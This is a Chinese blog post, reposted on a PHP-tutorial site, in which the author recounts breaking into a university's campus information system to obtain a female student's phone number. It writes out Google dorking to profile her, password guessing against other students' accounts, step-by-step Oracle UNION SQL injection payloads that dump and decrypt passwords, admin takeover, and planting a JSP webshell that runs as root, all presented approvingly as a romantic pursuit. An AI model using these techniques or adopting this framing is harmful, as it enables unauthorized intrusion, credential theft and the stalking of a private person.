来源:自学PHP网 时间:2015-04-17 12:00 作者: 阅读:次
[导读] 网上不经意认识了一个女生,因其可爱和至纯,竟生出心动的感觉来。原本以为,自己到了现在的年龄,是不会再因一个女生而心动的,然而若非遇见了,或许你永远都不知道自己将会...
网上不经意认识了一个女生,因其可爱和至纯,竟生出心动的感觉来。
原本以为,自己到了现在的年龄,是不会再因一个女生而心动的, 然而若非遇见了,或许你永远都不知道自己将会在感情中变成什么样子。 有点跑题了,下面开始说正题。 1.目的此次渗透测试,主要目的是拿到学妹的手机号码。 也许有人会问:手机号你直接问她不就行了吗?为什么还要费那么大力气,自己去拿? 之所以这样做,是基于一个认识:太容易得到的东西,人类是不懂得珍惜的。 我选择通过技术上的方法拿到手机号码,让认识她的这个过程,可以变得更长,也更艰难一些。 2. 目标初探因为知道她的名字和所在学校, 我首先以 姓名 + 学校网站 作为关键词,在Google上检索她的个人信息: 请注意此处的语法,名字一定需要用双引号包围起来,表明该字符串不需要分析和解释,并且要100%匹配的。 site:XXXX.edu.cn是她所在学校的网站。这里不要加www,指明检索所有的子域名。 通过Google,我找到了她的学号。 另外,还得到一个附加的消息,她入学体检没有合格,因为太瘦了! 当时有些心疼她,很想叫她多吃一些饭,保护好自己身体。(注:这是一个标准屌丝的表现... ...) 一旦拿到学号,后面能做的事情就比较多了。 根据自己以往的经验,我开始寻找类似教务平台的系统,因为在这样的服务器上,多半都保存有学生的基本信息。 最终,我找到了该校校园信息平台: 3。进入校园信息平台如何进入校园平台,成了眼前第一个门槛。 我已经有了她的学号,但此处有验证码,如果直接针对目标学妹张SWEET进行暴力破解, 将非常困难,需要自己编写验证码识别模块,且效率低下,爆破成功率也低。 我的想法是,先随便找个同学的帐号,进入校园信息平台看看里面到底有哪些信息,再做下一步打算。 在Google中通过如下关键词进行搜索:学校网站 + 获奖 + 学号 这样一来,我就可以找到上百个同学的学号了。 以上语法中,site用于指定学校网站,filetype用于指定文档格式为Excel文档, 老师们喜欢把获奖名单整理到Excel表格中,而该文件又会透露出类似学号、生日这样的基本信息。 拿到这批学号后,我写了个暴力破解小程序, 它自动载入一批学号并采用弱口令尝试登录,我只需要手工输入验证码。 在尝试了大约30个同学后(十几分钟时间),终于找到一位以12345678作为密码的同学! 随后,我使用该同学的帐号进入了校园信息平台, 也清楚地知道,校园信息平台上有比较完整的个人信息,有我想要的电话号码! 我将目标锁定到校园信息平台。 4. 找到Oracle注射点进入校园信息平台后,我开始寻找常见漏洞,在一个展现新闻的页面,找到了一个数字型的Oracle注射漏洞! 在一个带数字参数的URL后加上单引号',出现了经典错误提示! 错误提示表明:单引号没能正确闭合!且根据错误信息,可知对方使用Oracle作为数据库服务器(ORA-01756)。 在URL后添加" and 1=1",页面显示正常, 换成" and 1=2",页面出现错误,提示NULL,确认该处是一个数字型注射: 带明确错误提示的注射,相对而言要轻松很多, 接着,我把这个注入点放入工具Pangolin中跑了一圈,得到如下数据:
将这些数据库用户的Hashes放到Cain中,使用几个字典文件进行暴力破解,成功了若干! 这说明,管理员安全意识真的。。。很不高! 破解出几个Oracle帐号后,我开始思考如何去查询这些用户的表! 它们所拥有的表中,很可能保存了“帐号”等关键信息! 但因为数据库服务器位于局域网中,我无法直接访问。 我开始尝试利用类似MS SQL的跨库查询。 Oracle可以跨库查询吗?在网上检索了对应的资料,发现是可以的,但需要先利用db_link建立链接, 有了用户的密码,确实可以建立链接,但因为自己并不了解如何在Oracle中实现多行执行, 建立db link成了一个难题,此时,思路中断了。。。 因为自己对Oracle了解太少,我暂时放弃了这个注射点。 5. 找到关键突破口放弃一个注射点,多少让我觉得有些不甘,在一些极限环境中,它可能成为自己唯一可以找到的弱点。。。 放弃也就意味着全部放弃了。 不过还好这里并不是极限环境,随后,我开始在其他地方寻找突破口, 引用一句很装逼的话,叫“功夫不负有心人”,我竟然又发现了一个注射点! 这次,是一个字符型的注入。 在URL后面添加单引号',提示数据库读取错误; 添加 ' and '1'='1,页面正常显示了; 添加' and '1'='2 ,页面依然正常; 这表明,存在注射漏洞,但查询结果并不直接影响页面显示。 通常说来,把这个注射点拿到工具里面跑一会儿,就搞定一切了。 不过很遗憾,该页面需要先登录才可以访问,而绝大多数注入工具,并没提供浏览器让我们先登录再注入。 所以,我选择了艰难的手工注射。 一开始是猜column数,分别在URL后添加如下内容: ' order by 10-- 报错,说明列的个数在10个以下
' order by 5-- 折半后,继续报错 ' order by 3-- 正常显示 ' order by 4-- 正常显示 那么,可以得出结论,列的个数是4。尝试union查询: ' and 1=2 union select NULL,NULL,NULL,NULL from dual-- 页面正常现实,确定了是4列。 ' and 1=2的作用是,让前一个子查询结果为空, 这样我们便可以在第二个select子查询中,检索到自己想要的内容,并放入最终查询结果中,让web服务器返回过来。 继续改变注入语句: ' and 1=2 union select '111','222','333','444' from dual-- 页面正常显示,此时确定所有的列都是varchar类型, 并且,此时在页面上出现了标志字符串111。 如此一来,我们就可以非常方便地构造和查询自己想要的内容了! 通过改变'111'为自己想要的子查询即可: 得到当前Oracle用户: ' and 1=2 union select SYS_CONTEXT ('USERENV', 'CURRENT_USER'),'222','333','444' from dual-- 结果是个好消息! 跟上一个数字型注射点的用户名不一样。 这是一个更隐蔽的注射点,直觉告诉我,可能是存在敏感信息的! 接着是猜列表名和列名,这是通过查询系统表user_tables和user_tab_columns来实现的。 查询列名中包含PASSWORD关键字的数据表: ' and 1=2 union select (select table_name from user_tab_columns where column_name like '%PASSWORD%' and rownum=1),'222','333','444' from dual--user_tab_columns表中,存放了各个表里面都有哪些列。 请注意,由于table_name和columun_name都是以大写存储在该表中,请一定使用大写的PASSWORD(此处大小写敏感)。 后面的rownum=1,是只提取第一条结果,对于oracle是必须的,请不要忽略这个细节。 显示在页面上的内容即一个列名中含有PASSWORD的数据表。 上面只显示了第一个含有PASSWORD关键字的数据表,那如何查其他表呢? 首先,用不等号<>排除的方法是可以实现的,例如,这里我得到第一个表的名字是DRM_SYS_DATASOURCE 我只要在查询中排除DRM_SYS_DATASOURCE就可以了,构造SQL语句如下: ' and 1=2 union select (select table_name from user_tab_columns where column_name like '%PASSWORD%' and table_name <> 'DRM_SYS_DATASOURCE'and rownum=1),'222','333','444' from dual--一个一个排除,我们就可以猜出所有的表来了,但是,如果排除的表太多,每次都添加排除条件,是很麻烦的。 所以,就有第二个方法,即:利用子查询来遍历多条记录: 构造如下SQL语句: ' and 1=2 union select (select tn from (select rownum r,table_name tn from user_tab_columns where column_name like '%PASSWORD%')tb where r=1),'222','333','444' from dual--最内的一个括号内,我创建了一个子查询,从user_tab_columns中检索出所有的列名中含PASSWORD的表, rownum别名是r, table_name别名是tn,查询得到的临时表名为tb。也就是说, 通过select rownum r,table_name tn from user_tab_columns where column_name like '%PASSWORD%',我得到了一个名叫tb的表,它的内容是类似这样的: r
tn
1
admin
2
users
3
...
然后,我们从子查询得到的表中依次检索tn的内容。设置r=后面数字的值,则可检索到其他表的名字了, 这是稍微麻烦一点的地方。 让我无语凝噎的是,通过查找PASSWORD,依然没能找到存放用户信息的地方。。。 不过我并没有放弃,继续通过查找字段中含有PSW关键字的table,终于发现了存放用户信息的XXX_PERSON表! 在猜解所有列的名称时,需要构造如下注入语句: ' and 1=2 union select (select cn from (select rownum r,column_name cn from user_tab_columns where table_name = 'XXX_PERSON')tb where r=1),'222','333','444' from dual--通过一个一个猜解,大致了解了表的结构,PSN_ACCOUNT是用于存放用户名的,PSN_PSW用于存放密码。 因为知道学妹的学号,我直接去查找她的密码,构造SQL语句: ' and 1=2 union select PSN_PWD,'2','3',NULL from XXXX_PERSON where PSN_ACCOUNT='2011XXXX'--哈哈,终于出现了密码。。。但是,且慢: 无法让人淡定~~ 密码。。。 已经被加密过了。。。 再进一步不淡定,对方也并未采用通用的加密方法,例如MD5。 不过对于一个屌丝中的战斗屌丝,我还得再坚持一会儿才行。。。 所以,抱着一丝希望,我遍历了当前用户所有的函数,构造SQL 语句: ' and 1=2 union select (select object_name from user_objects where object_type='FUNCTION' and rownum=1),'2','3',NULL from dual--第一个function就是XXXXXX_DECODE!我莫名欣喜,死马当做活马医,测试用该函数解密学妹的密码: ' and 1=2 union select XXXXXX_decode(PSN_PWD),'2','3',NULL from XXXX_PERSON where PSN_ACCOUNT='2011XXXX'-- 此时,人品大爆发,我终于看到了学妹的明文密码。 靠猜解出一个函数的名字,并使用该函数成功解密PASSWORD,实则运气成分已经非常高了! 使用学妹的学号、密码,登录到校园信息平台,终于看到了她可爱的照片: 至此。我的目的已经达到,拿到了她的手机号。 :) 然而渗透既然已经到了这一步,不再继续做些收尾工作,是有些遗憾的。 我继续猜解了管理员的密码,构造: ' and 1=2 union select XXXXXX_decode(PSN_PWD),'2','3',NULL from ORG_PERSON where PSN_ACCOUNT='root'-- 出错,说明不存在用户root,再换成admin, ' and 1=2 union select XXXXXX_decode(PSN_PWD),'2','3',NULL from XXXX_PERSON where PSN_ACCOUNT='admin'-- 终于出现了明文密码。 换了管理员的帐号登录到系统,在一个信息发布的地方找到了上传页面: 尝试上传JSP木马,弹出消息框,提示文件类型非法。 但这个判断是在本地使用javascript来完成的, 用啊D编写的IE恶搞迷来修改浏览器页面中的内容,将button修改成submit, 成功上传JSP木马。进去之后,发现web服务是以root运行的!I'm root then. 6. 后记拿到学妹张SWEET手机号码的过程异常艰辛。但它同时也给我带来了许多快乐。 出于一些考虑,我并没有给她发短讯,或者打电话。 也许,我会把这份美好放在心底里。 我们本来就是两个世界的人,我在西安,而她在北京。 她毕业后应该会出国,而我,随后大概会去一家IT公司当民工。 所以,我们的命运轨迹本来就是越走越远的。 撒由那娜,张SWEET! |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com